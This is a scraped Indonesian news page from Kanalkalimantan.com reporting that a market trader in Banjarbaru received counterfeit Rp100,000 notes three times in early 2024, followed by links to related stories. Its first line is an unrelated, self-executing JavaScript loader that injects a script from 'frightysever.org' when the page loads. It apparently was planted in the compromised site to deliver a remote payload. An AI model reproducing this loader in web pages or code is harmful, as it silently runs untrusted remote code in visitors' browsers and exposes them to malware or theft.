(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Peredaran uang palsu menjadi perhatian para pedagang di Pasar Bauntung Kota Banjarbaru.
Lantaran, sejak Januari hingga April 2024 sudah ada tiga kali kejadian dialami pedagang di Pasar Bauntung yang menerima uang rupiah palsu dari pembelinya.
Uang rupiah palsu itu diterima oleh seorang pedagang bernama Zaitun (74). Dirinya mengaku sudah tiga kali menerima pecahan Rp100 ribu dari pembeli yang belakangan diketahui adalah uang palsu.
Baca juga: Waspada Pinjaman Online, OJK Kalsel: Pinjol Ilegal Cenderung Beri Kemudahan Diawal
“Pas menjelang Ramadan, lalu bulan dulunya, dan terakhir saat sudah Hari Raya dua hari kemarin, jadi sudah tiga kali dapat uang palsu tahun ini,” tutur Zaitun saat ditemui Kanalkalimantan.com, Senin (22/4/2024) siang.
Zaitun menceritakan, keadaan pasar yang terletak di Jalan RO Ulin Loktabat, Kecamatan Banjarbaru Selatan, itu sekitar pukul 09.00 Wita pagi, memang cukup ramai.
“Sekitar jam sembilan pas orang ramai, harga Rp100 ribu semua dapatnya kemarin,” sebut dia.
Saat itu dia tak sempat melakukan pengecekan uang yang diterimanya satu per satu. Namun dikatakannya, pembeli memberikan uang tersebut dalam keadaan terlipat.
Baca juga: Peringatan Hari Kartini, Guru Honorer di SDN Paramasan Bawah 1 Raih Penghargaan
“Pembelinya seingat saya tinggi tinggi kurus dan muda saja, ada yang laki-laki ada juga perempuan, saat itu orang beli limau, beli daun, beli kolang-kolang, beli juga dia tapi ngasih duitnya langsung ke tangan,” jelas Zaitun.
Zaitun baru mengetahui uang yang diterimanya palsu ketika pergi ke arisan. Saat itu, teman arisannya memberi tahu kalau uang tersebut palsu.
“Uangnya dibawa ke arisan, ternyata kata teman duit pian palsu ni, kenapa kata saya nih, dijawab tidak ada tanda katanya, dan jenis kertasnya juga beda saat digenggam, linyak,” ucapnya bercerita.
Karena sudah ketiga kalinya, nenek Zaitun pun mengaku lebih berhati-hati. Meski begitu, dia juga menaruh kecurigaan setiap pembeli yang memberikannya uang.
Baca juga: MK Tolak Gugatan 01 dan 03, Pengamat Politik Unisma Bekasi: Banyak Hakim Pro Presiden
“Jadi berhati-hati, saya orangtua pembeli asal saja meminta kembalian ke saya, tanpa jelas saya melihat uangnya,” ungkapnya.
Zaitun bersama pedagang lainnya juga sudah melapor kepada UPT Pasar Bauntung. Sementara di pasar para pedagang menempelkan beberapa selebaran yang bertuliskan “Hati-hati beredarnya uang palsu” agar para pedagang serta pembeli berhati-hari terhadap uang palsu di pasar. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More
This website uses cookies.